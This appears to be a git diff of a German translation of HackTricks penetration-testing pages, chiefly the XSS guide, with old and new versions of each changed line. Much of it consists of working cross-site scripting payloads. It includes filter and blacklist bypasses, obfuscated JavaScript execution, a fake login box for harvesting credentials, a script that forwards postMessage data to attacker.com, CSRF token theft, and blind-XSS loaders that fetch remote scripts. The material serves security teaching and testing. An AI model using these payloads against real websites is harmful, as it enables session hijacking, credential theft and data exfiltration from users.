## Race Conditions
Rennbedingungen in WebSockets sind ebenfalls ein Thema, [prüfen Sie diese Informationen, um mehr zu erfahren](race-condition.md#rc-in-websockets).
Race Conditions in WebSockets sind ebenfalls ein Thema, [prüfen Sie diese Informationen, um mehr zu erfahren](race-condition.md#rc-in-websockets).
## Andere Schwachstellen
## Other vulnerabilities
Da WebSockets ein Mechanismus sind, um **Daten an die Server- und Client-Seite zu senden**, können WebSockets, je nachdem, wie der Server und der Client die Informationen behandeln, **ausgenutzt werden, um mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Schwachstellen unter Verwendung von Benutzereingaben aus einem WebSocket auszunutzen.**
Da Web Sockets ein Mechanismus sind, um **Daten an die Server- und Client-Seite zu senden**, abhängig davon, wie der Server und der Client die Informationen behandeln, **können Web Sockets verwendet werden, um mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Schwachstellen unter Verwendung von Benutzereingaben aus einem Websocket auszunutzen.**
## **WebSocket-Smuggling**
## **WebSocket Smuggling**
Diese Schwachstelle könnte es Ihnen ermöglichen, **Einschränkungen von Reverse-Proxys zu umgehen**, indem Sie sie glauben lassen, dass eine **WebSocket-Kommunikation hergestellt wurde** (auch wenn das nicht wahr ist). Dies könnte einem Angreifer ermöglichen, **auf versteckte Endpunkte zuzugreifen**. Für weitere Informationen überprüfen Sie die folgende Seite:
Diese Schwachstelle könnte es Ihnen ermöglichen, **Einschränkungen von Reverse-Proxys zu umgehen**, indem Sie sie glauben lassen, dass eine **Websocket-Kommunikation hergestellt wurde** (auch wenn das nicht wahr ist). Dies könnte einem Angreifer ermöglichen, **auf versteckte Endpunkte zuzugreifen**. Für weitere Informationen überprüfen Sie die folgende Seite:
{{#ref}}
h2c-smuggling.md
{{#endref}}
## Referenzen
## References
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)

120
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -22,7 +22,7 @@
2. Können Sie den String entkommen und anderen JS-Code ausführen?
3. Ist Ihre Eingabe in Template-Literalen \`\`?
4. Können Sie Schutzmaßnahmen umgehen?
4. Javascript **Funktion**, die **ausgeführt** wird:
4. Javascript **Funktion** wird **ausgeführt**:
1. Sie können den Namen der auszuführenden Funktion angeben. z.B.: `?callback=alert(1)`
4. Wenn **verwendet**:
1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird.**
@ -35,10 +35,10 @@ debugging-client-side-js.md
## Reflektierte Werte
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **von Ihnen kontrollierten Wert finden, der im Webpage reflektiert wird**.
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird**.
- **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
- **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad im Webpage reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert wird und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
- **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
## Kontexte
@ -47,7 +47,7 @@ Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre E
### Rohes HTML
Wenn Ihre Eingabe **im rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
Wenn Ihre Eingabe im **rohen HTML**-Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
### Innerhalb von HTML-Tag-Attributen
@ -56,8 +56,8 @@ Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Si
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), hängt es davon ab, **in welchem Attribut** Ihr Wert reflektiert wird und **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, ob Sie es ausnutzen können. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="**
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
```html
@ -74,7 +74,7 @@ In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags ei
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke** mit der `${ ... }`-Syntax einbetten: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
```javascript
alert(1)
@ -112,9 +112,9 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Sie können auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`.
Du kannst auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`.
In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM. **Andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, Endpunkte ohne viel interessantes DOM, **andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt:
@ -147,13 +147,13 @@ server-side-xss-dynamic-pdf.md
![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## In rohem HTML injizieren
## In rohes HTML injizieren
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** widerzuspiegeln und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
Wenn deine Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder du HTML-Code in diesem Kontext entkommen und injizieren kannst, ist das **erste**, was du tun musst, zu überprüfen, ob du `<` ausnutzen kannst, um neue Tags zu erstellen: Versuche einfach, dieses **Zeichen** widerzuspiegeln und überprüfe, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall wirst du in der Lage sein, diesen Fall auszunutzen**.\
Für diese Fälle solltest du auch **an die [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.\
_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***\***\*`-->`\*\***\***\*oder \*\*\*\*\*\***`--!>`\*\*_
In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könntest du Payloads wie verwenden:
```html
<script>
alert(1)
@ -226,7 +226,7 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Length bypass (kleine XSSs)
### Length bypass (kleine XSS)
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**sind hier zu finden**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
```html
@ -234,7 +234,7 @@ onerror=alert`1`
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
```
Die letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr\
Mehr dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
Weitere dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
Um zu überprüfen, in welche Zeichen zerlegt werden, überprüfen Sie [hier](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
@ -245,7 +245,7 @@ Wenn Sie zur Ausnutzung der Schwachstelle den **Benutzer dazu bringen müssen, a
Wenn Sie nur denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) überprüfen, da Sie die Schwachstelle **ausnutzen** könnten, **ohne** **JS**-Code auszuführen.
## In HTML-Tag injizieren
## Injizieren innerhalb eines HTML-Tags
### Innerhalb des Tags/Entkommen aus dem Attributwert
@ -267,7 +267,7 @@ Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute in
```
### Innerhalb des Attributs
Selbst wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird kodiert oder gelöscht), je nachdem, **welches Attribut** Ihr Wert reflektiert und **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, werden Sie in der Lage sein, es auszunutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird.\
Selbst wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird kodiert oder gelöscht), je nachdem, **in welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, werden Sie in der Lage sein, es auszunutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird.\
Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
**Umgehung innerhalb des Ereignisses mit HTML-Kodierung/URL-Kodierung**
@ -325,8 +325,8 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Orte, an denen Sie diese Protokolle injizieren können**
**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, der das Attribut `href` akzeptiert** und in **den meisten** der Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img`)
```markup
**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, der das Attribut `href` akzeptiert** und in **den meisten** der Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
```markup
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Die XSS-Payload wird ungefähr so aussehen: `" accesskey="x" onclick="alert(1)" x="`**
@ -444,13 +444,13 @@ Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](#blacklist-bypasses).
**Umgehungen für JavaScript-Code**
Lies die [JavaScript-Umgehungs-Blacklist des folgenden Abschnitts](#javascript-bypass-blacklists-techniques).
Lies die [JavaScript-Umgehungsliste des folgenden Abschnitts](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Raum, den dieses Element einnimmt, zu modifizieren**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
Zum Beispiel könntest du dem Element ein Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Zum Beispiel könntest du dem Element einige Stile hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest
@ -472,7 +472,7 @@ In diesem Fall wird dein **Input** **innerhalb des JS-Codes** einer `.js`-Datei
### Escaping des \<script>-Tags
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag **escapen**:
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag escapen:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -480,7 +480,7 @@ Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nich
### Innerhalb des JS-Codes
Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code bei Fehlern nicht ausgeführt wird:
Wenn `<>` sanitisiert werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code bei Fehlern nicht ausgeführt wird:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,23 +488,23 @@ Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre
```
### Template literals \`\`
Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }`-Syntax einzubetten.\
Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen:
Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }` Syntax einzubetten.\
Wenn Sie also feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen:
Dies kann **missbraucht** werden mit:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
```javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
```````````````
loop``
```
### Codierte Codeausführung
```markup
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
@ -516,7 +516,7 @@ alert(1)
alert(1)
alert(1)
```
### JavaScript Bypass-Blacklists-Techniken
### JavaScript Bypass-Blacklist-Techniken
**Strings**
```javascript
@ -599,7 +599,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**JavaScript ohne Klammern**
````javascript
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Willkürlicher Funktionsaufruf (alert)**
````javascript
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
@ -735,17 +735,17 @@ top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
```
## **DOM-Sicherheitsanfälligkeiten**
Es gibt **JS-Code**, der **unsichere Daten verwendet, die von einem Angreifer kontrolliert werden**, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
**Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzt**.\
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzen kann**.\
Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist.
### Selbst-XSS aufrüsten
@ -766,7 +766,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn
### Sitzungs-Spiegelung
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, zum Beispiel, indem sie es den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, zum Beispiel, wenn Kunden um Hilfe bitten und der Administrator Ihnen helfen möchte, sieht er, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
@ -782,7 +782,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
```
### Ruby-On-Rails bypass
Aufgrund der **RoR-Massenzuweisung** werden Zitate in das HTML eingefügt und dann wird die Zitatbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -794,7 +794,7 @@ Das Paar "Key","Value" wird wie folgt zurückgegeben:
Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.
### Besondere Kombinationen
```markup
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
@ -825,22 +825,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS mit Header-Injection in einer 302-Antwort
Wenn Sie feststellen, dass Sie **Header in einer 302-Redirect-Antwort injizieren** können, könnten Sie versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, sodass eine Cross-Site-Scripting-Nutzlast nutzlos ist.
Wenn Sie feststellen, dass Sie **Header in einer 302-Redirect-Antwort injizieren können**, könnten Sie versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, sodass eine Cross-Site-Scripting-Nutzlast nutzlos ist.
In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie lesen, wie Sie mehrere Protokolle im Location-Header testen können und ob eines von ihnen es dem Browser ermöglicht, die XSS-Nutzlast im Körper zu inspizieren und auszuführen.\
Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`.
### Nur Buchstaben, Zahlen und Punkte
Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, ist dies auf diese Zeichen beschränkt. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
### Gültige `<script>` Content-Types für XSS
### Gültige `<script>`-Inhaltstypen für XSS
(Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn Sie versuchen, ein Skript mit einem **Content-Type** wie `application/octet-stream` zu laden, wird Chrome den folgenden Fehler ausgeben:
(Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn Sie versuchen, ein Skript mit einem **Inhaltstyp** wie `application/octet-stream` zu laden, wird Chrome den folgenden Fehler ausgeben:
> Weigerte sich, das Skript von ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') auszuführen, da sein MIME-Typ (‘application/octet-stream’) nicht ausführbar ist und die strenge MIME-Typ-Prüfung aktiviert ist.
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die, die in der Konstante **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) enthalten sind.
Die einzigen **Content-Type**s, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die, die in der Konstante **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) enthalten sind.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -868,8 +868,10 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
- **Modul** (Standard, nichts zu erklären)
- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können.
Die Antwort ist:
- **module** (Standard, nichts zu erklären)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei verpacken können.
```html
<script type="webbundle">
{
@ -1054,7 +1056,7 @@ trigger()
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- Mehr sofistizierter JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- Mehr ausgeklügeltes JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@ -1238,7 +1240,7 @@ steal-info-js.md
### Iframe Falle
Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden):
Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich der in Formularen gesendeten Informationen):
{{#ref}}
../iframe-traps.md
@ -1363,7 +1365,7 @@ _Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten au
Überprüfen Sie die Liste der in Chrome [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gesperrten Ports.
### Box zur Abfrage von Anmeldeinformationen
```markup
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Auto-fill Passworterfassung
@ -1404,7 +1406,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
</script>
```
### Stehlen von PostMessage-Nachrichten
```markup
```html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
@ -1432,7 +1434,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Blinde XSS-Payloads
Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com)
```markup
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
